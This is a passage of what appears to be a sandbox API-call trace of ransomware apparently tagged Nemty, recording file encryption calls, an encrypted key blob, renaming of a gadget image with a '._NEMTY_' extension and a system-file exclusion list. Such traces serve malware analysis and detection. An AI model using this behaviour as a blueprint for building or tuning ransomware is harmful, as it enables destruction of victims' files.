(dwMilliseconds=0x5) [0145.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa805090, dwHighDateTime=0x1d561e8)) [0145.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa805090, dwHighDateTime=0x1d561e8)) [0145.717] GetLastError () returned 0x5 [0145.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.718] GetLastError () returned 0x5 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.718] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340348 [0145.718] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340348, pcchString=0x653e91c | out: pszString="XW3ChFjwQkgBMHXfosKvysmeYnofkJj3E4EbS8TKmFbS559QXGOLeNfBK8vAgpZY\r\nV1Zpt+PDxjAj+IJDMvg7/DDqDmKRYSq9OKkBtOvUcvXii919qbbuE1q5ZIthARF2\r\ncP6erG1yYmyZCbVFjgfIXSSJiIDquTU9JW8q6ibxghq8x6yqoHwYtrb93PWPJhhP\r\nMMtMIi7ig9x4Exj9VeHutwqxSemAynzcdv6xkBfHhistKTYw9MEeigcvFzOMF8m/\r\nCQ+ik7z+EQ+RmPD7RxlYLepsPJ+DPEsGBxL9PIPKxf6NFK9E47F+7EUpTUUHv/9R\r\nDZNGADT66UliHPYYqqSmGA==\r\n", pcchString=0x653e91c) returned 1 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0145.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340348 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.718] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.718] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340348, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.830] CloseHandle (hObject=0xffffffff) returned 0 [0145.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404b8 [0145.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.830] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0145.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rss_headline_glow_docked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rss_headline_glow_docked.png._nemty_kgobjgd_")) returned 0 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.831] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eeaa58, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84eeaa58, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf0d35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rss_headline_glow_floating.png", cAlternateFileName="")) returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="..") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="...") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="windows") returned -1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="$RECYCLE.BIN") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="rsa") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="NTDETECT.COM") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="ntldr") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="MSDOS.SYS") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="IO.SYS") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="boot.ini") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="boot.ini") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="ntuser.dat") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="desktop.ini") returned 1 [0145.831] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="CONFIG.SYS") returned 1 [0145.832] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="RECYCLER") returned 1 [0145.832] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="BOOTSECT.BAK") returned 1 [0145.832] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="bootmgr") returned 1 [0145.832] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="programdata") returned 1 [0145.832] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2="appdata") returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_floating.png", lpUsedDefaultChar=0x0) returned 30 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_floating.png", lpUsedDefaultChar=0x0) returned 30 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_floating.png", lpUsedDefaultChar=0x0) returned 30 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.832] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_floating.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_floating.png", lpUsedDefaultChar=0x0) returned 30 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0145.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0145.832] Sleep (dwMilliseconds=0x5) [0145.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa935b90, dwHighDateTime=0x1d561e8)) [0145.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa935b90, dwHighDateTime=0x1d561e8)) [0145.842] GetLastError () returned 0x5 [0145.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.842] GetLastError () returned 0x5 [0145.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.843] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340348 [0145.843] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340348, pcchString=0x653e91c | out: 